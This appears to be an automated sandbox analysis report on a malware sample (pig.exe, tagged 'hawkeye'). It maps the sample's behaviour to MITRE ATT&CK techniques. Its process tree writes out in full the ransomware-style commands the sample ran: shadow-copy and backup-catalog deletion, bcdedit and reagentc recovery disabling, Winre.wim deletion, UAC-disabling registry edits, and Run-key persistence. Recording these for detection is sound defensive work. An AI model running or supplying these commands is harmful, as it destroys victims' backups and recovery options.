hawkeye | 95d1ede9aa3fb775730aeb5512ded8f6a111f753eed7ab33370b26a5bcc6bacc

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	pig.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	pig.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	pig.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
2660	bcdedit.exe
1672	bcdedit.exe
2512	bcdedit.exe
3876	bcdedit.exe

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

persistence privilege_escalation

pid	Process
4496	wbadmin.exe
2948	wbadmin.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdateSvc.exe	pig.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdateSvc.exe	pig.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateSvc = "C:\\Users\\Admin\\AppData\\Roaming\\WindowsUpdate.exe"	pig.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	pig.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Executes a command shell one-liner 1 TTPs 14 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5884	cmd.exe
3124	cmd.exe
4452	cmd.exe
2908	cmd.exe
4860	cmd.exe
4692	cmd.exe
3792	cmd.exe
5052	cmd.exe
5232	cmd.exe
3032	cmd.exe
4224	cmd.exe
1572	cmd.exe
2504	cmd.exe
5280	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

Direct Volume Access

T1006

pid	Process
6016	vssadmin.exe
4964	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2600	WMIC.exe
2600	WMIC.exe
2600	WMIC.exe
2600	WMIC.exe

Suspicious use of AdjustPrivilegeToken 45 IoCs

description	pid	Process
Token: SeBackupPrivilege	6012	vssvc.exe
Token: SeRestorePrivilege	6012	vssvc.exe
Token: SeAuditPrivilege	6012	vssvc.exe
Token: SeIncreaseQuotaPrivilege	2600	WMIC.exe
Token: SeSecurityPrivilege	2600	WMIC.exe
Token: SeTakeOwnershipPrivilege	2600	WMIC.exe
Token: SeLoadDriverPrivilege	2600	WMIC.exe
Token: SeSystemProfilePrivilege	2600	WMIC.exe
Token: SeSystemtimePrivilege	2600	WMIC.exe
Token: SeProfSingleProcessPrivilege	2600	WMIC.exe
Token: SeIncBasePriorityPrivilege	2600	WMIC.exe
Token: SeCreatePagefilePrivilege	2600	WMIC.exe
Token: SeBackupPrivilege	2600	WMIC.exe
Token: SeRestorePrivilege	2600	WMIC.exe
Token: SeShutdownPrivilege	2600	WMIC.exe
Token: SeDebugPrivilege	2600	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2600	WMIC.exe
Token: SeRemoteShutdownPrivilege	2600	WMIC.exe
Token: SeUndockPrivilege	2600	WMIC.exe
Token: SeManageVolumePrivilege	2600	WMIC.exe
Token: 33	2600	WMIC.exe
Token: 34	2600	WMIC.exe
Token: 35	2600	WMIC.exe
Token: 36	2600	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2600	WMIC.exe
Token: SeSecurityPrivilege	2600	WMIC.exe
Token: SeTakeOwnershipPrivilege	2600	WMIC.exe
Token: SeLoadDriverPrivilege	2600	WMIC.exe
Token: SeSystemProfilePrivilege	2600	WMIC.exe
Token: SeSystemtimePrivilege	2600	WMIC.exe
Token: SeProfSingleProcessPrivilege	2600	WMIC.exe
Token: SeIncBasePriorityPrivilege	2600	WMIC.exe
Token: SeCreatePagefilePrivilege	2600	WMIC.exe
Token: SeBackupPrivilege	2600	WMIC.exe
Token: SeRestorePrivilege	2600	WMIC.exe
Token: SeShutdownPrivilege	2600	WMIC.exe
Token: SeDebugPrivilege	2600	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2600	WMIC.exe
Token: SeRemoteShutdownPrivilege	2600	WMIC.exe
Token: SeUndockPrivilege	2600	WMIC.exe
Token: SeManageVolumePrivilege	2600	WMIC.exe
Token: 33	2600	WMIC.exe
Token: 34	2600	WMIC.exe
Token: 35	2600	WMIC.exe
Token: 36	2600	WMIC.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4360 wrote to memory of 2908	4360	pig.exe	89
PID 2908 wrote to memory of 6016	2908	cmd.exe	91
PID 4360 wrote to memory of 4860	4360	pig.exe	94
PID 4860 wrote to memory of 2600	4860	cmd.exe	96
PID 4360 wrote to memory of 4692	4360	pig.exe	98
PID 4692 wrote to memory of 4496	4692	cmd.exe	100

System policy modification 1 TTPs 3 IoCs

defense_evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	pig.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	pig.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	pig.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\pig.exe
"C:\Users\Admin\AppData\Local\Temp\pig.exe"
1⤵
- UAC bypass
- Creates a file in the Startup directory
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4360
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2908
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:6016
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c wmic shadowcopy delete /nointeractive
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4860
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete /nointeractive
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2600
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c wbadmin delete catalog -quiet
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4692
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:4496
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c reagentc /disable
  2⤵
  - Executes a command shell one-liner
  PID:1572
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    PID:204
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c bcdedit /set {default} recoveryenabled No
  2⤵
  - Executes a command shell one-liner
  PID:2504
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2660
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Executes a command shell one-liner
  PID:5052
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1672
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c rmdir /s /q C:\Recovery
  2⤵
  PID:1488
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c del /f /q /a C:\Windows\System32\Recovery\Winre.wim
  2⤵
  PID:2032
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c mountvol S: /S
  2⤵
  - Executes a command shell one-liner
  PID:4452
- - C:\Windows\system32\mountvol.exe
    mountvol S: /S
    3⤵
    PID:800

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6012

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
PID:4856

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:4408

C:\Users\Admin\AppData\Roaming\WindowsUpdate.exe
C:\Users\Admin\AppData\Roaming\WindowsUpdate.exe
1⤵
PID:3120
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  - Executes a command shell one-liner
  PID:3032
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4964
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c wmic shadowcopy delete /nointeractive
  2⤵
  - Executes a command shell one-liner
  PID:4224
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete /nointeractive
    3⤵
    PID:4080
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c wbadmin delete catalog -quiet
  2⤵
  - Executes a command shell one-liner
  PID:3792
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2948
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c reagentc /disable
  2⤵
  - Executes a command shell one-liner
  PID:5280
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    PID:5068
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c bcdedit /set {default} recoveryenabled No
  2⤵
  - Executes a command shell one-liner
  PID:5884
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2512
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Executes a command shell one-liner
  PID:5232
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3876
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c rmdir /s /q C:\Recovery
  2⤵
  PID:5960
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c del /f /q /a C:\Windows\System32\Recovery\Winre.wim
  2⤵
  PID:3952
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c mountvol S: /S
  2⤵
  - Executes a command shell one-liner
  PID:3124
- - C:\Windows\system32\mountvol.exe
    mountvol S: /S
    3⤵
    PID:2256

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2336

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
PID:5576

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery